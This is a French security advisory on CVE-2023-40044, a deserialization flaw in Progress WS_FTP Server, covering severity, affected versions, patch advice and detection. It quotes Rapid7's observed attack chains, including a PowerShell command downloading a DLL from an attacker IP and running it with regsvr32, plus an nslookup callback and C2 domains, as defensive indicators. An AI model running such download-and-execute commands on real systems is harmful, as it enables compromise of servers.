

The background of the page is a complex network visualization with glowing blue nodes and connecting lines, set against a dark background. Some nodes are labeled with numbers like 5013, 2789, 3659, and 4617.

# Bulletin d'alerte Vulnérabilité critique dans Progress WS\_FTP Server

# Sommaire

<b>CVE-2023-40044</b> .....	<b>2</b>
Type de vulnérabilité .....	2
Risque .....	2
Criticité (Score de base CVSS v3.1) .....	2
Produits impactés .....	2
Recommandations .....	2
Preuve de concept .....	2
Chaines d'attaques observées par Rapid7 .....	3
Attaque 1 .....	3
Attaque 2 .....	3
Règle de détection .....	4
<b>RÉFÉRENCES</b> .....	<b>5</b>

# CVE-2023-40044



Le 27 septembre 2023, Progress a publié un bulletin d'alerte concernant 8 vulnérabilités dans leur solution WS\_FTP Server. La plus critique, découverte par les équipes d'Assetnote, permet à un attaquant non authentifié d'exécuter du code arbitraire sur le serveur.

Cette vulnérabilité est due à un défaut de désérialisation de données *.NET* dans le module *Ad Hoc Transfer*. En envoyant une requête spécifiquement forgée, un attaquant non authentifié peut exécuter du code sur le serveur WS\_FTP avec les privilèges *NT AUTHORITY\NETWORK SERVICE*.



Cette vulnérabilité est exploitée.

## Type de vulnérabilité

- [CWE-502](#) : Deserialization of Untrusted Data

## Risque

- Exécution de code arbitraire

## Criticité (Score de base CVSS v3.1)

Vecteur d'attaque	Réseau	Portée	Inchangée
Complexité d'attaque	Faible	Impact sur la confidentialité	Elevé
Privilèges requis	Faible	Impact sur l'intégrité	Elevé
Interaction de l'utilisateur	Aucune	Impact sur la disponibilité	Elevé

## Produits impactés

- Serveur WS\_FTP versions antérieures à 8.7.4 et 8.8.2

## Recommandations

- Mettre à jour les Serveurs Progress WS\_FTP vers la version 8.7.4, 8.8.2 ou ultérieure.
- Si la mise à jour ne peut pas être déployée, il est recommandé de [désactiver](#) le module *Ad Hoc Transfer*.
- Des informations complémentaires sont disponibles dans le [bulletin](#) de Progress.

## Preuve de concept

Une preuve de concept est disponible en sources ouvertes.

# Chaines d'attaques observées par Rapid7

Rapid7 a partagé des détails sur deux chaînes d'attaques qu'ils ont observées dans leurs environnements.

## Attaque 1

### Great-grandparent Process

```
C:\Windows\SysWOW64\inetsrv\w3wp.exe -ap "WSFTPSVR_WTM" -v "v4.0" -l "webengine4.dll" -a  
\\.\pipe\iisipm18823d36-4194-409a-805b-cea0f4389a0c -h  
"C:\inetpub\temp\appools\WSFTPSVR_WTM\WSFTPSVR_WTM.config" -w "" -m 1 -t 20 -ta 0
```

### Grandparent Process

```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths  
@"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET  
Files\ah\ae514712b\aa2ab2de1\ryvjavth.cmdline
```

### Parent Process

```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86  
"/OUT:C:\Windows\TEMP\RES6C8F.tmp" "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET  
Files\ah\ae514712b\aa2ab2de1\CSCCEF3EFC08A254FF1848B4D8FBBA6D0CE.TMP
```

### Child Process

```
C:\Windows\System32\cmd.exe" /c cmd.exe /C nslookup 2adc9m0bc70noboyvgt357r5gwmnady2.oastify.co
```

## Attaque 2

### Great-grandparent Process

```
C:\WINDOWS\SysWOW64\inetsrv\w3wp.exe -ap "WSFTPSVR_WTM" -v "v4.0" -l "webengine4.dll" -a  
\\.\pipe\iisipme6a8a618-bb7f-470c-92e9-58204f6ffcfa -h  
"C:\inetpub\temp\appools\WSFTPSVR_WTM\WSFTPSVR_WTM.config" -w "" -m 1 -t 20 -ta 0
```

### Grandparent Process

```
C:\Windows\System32\cmd.exe" /c powershell /c "IWR http://172.245.213[.]135:3389/bcrypt -OutFile  
c:\users\public\NTUSER.dll
```

### Parent Process

```
powershell /c "IWR http://172.245.213[.]135:3389/bcrypt -OutFile c:\users\public\NTUSER.dll
```

### Child Process

```
C:\Windows\System32\cmd.exe" /c regsvr32 c:\users\public\NTUSER.dll
```

Lors de son exécution, *NTUSER.dll* télécharge depuis l'URL *status.backendapi-fe4[.]workers[.]dev*, le fichier *stage2.zip*. Cette archive contient un autre fichier exécutable développé en Go qui semble communiquer avec le domaine *realtime-v1[.]backendapi-fe4[.]workers[.]dev*.

## Règle de détection

Velociraptor a [publié](#) une règle pour détecter l'exploitation des vulnérabilités [CVE-2023-40044](#) et [CVE-2023-42657](#).

# Références

- <https://nvd.nist.gov/vuln/detail/CVE-2023-40044>
- <https://community.progress.com/s/article/WS-FTP-Server-Critical-Vulnerability-September-2023>
- [https://www.rapid7.com/blog/post/2023/09/29/etr-critical-vulnerabilities-in-ws\\_ftp-server/](https://www.rapid7.com/blog/post/2023/09/29/etr-critical-vulnerabilities-in-ws_ftp-server/)
- [https://docs.velociraptor.app/exchange/artifacts/pages/ws\\_ftp/](https://docs.velociraptor.app/exchange/artifacts/pages/ws_ftp/)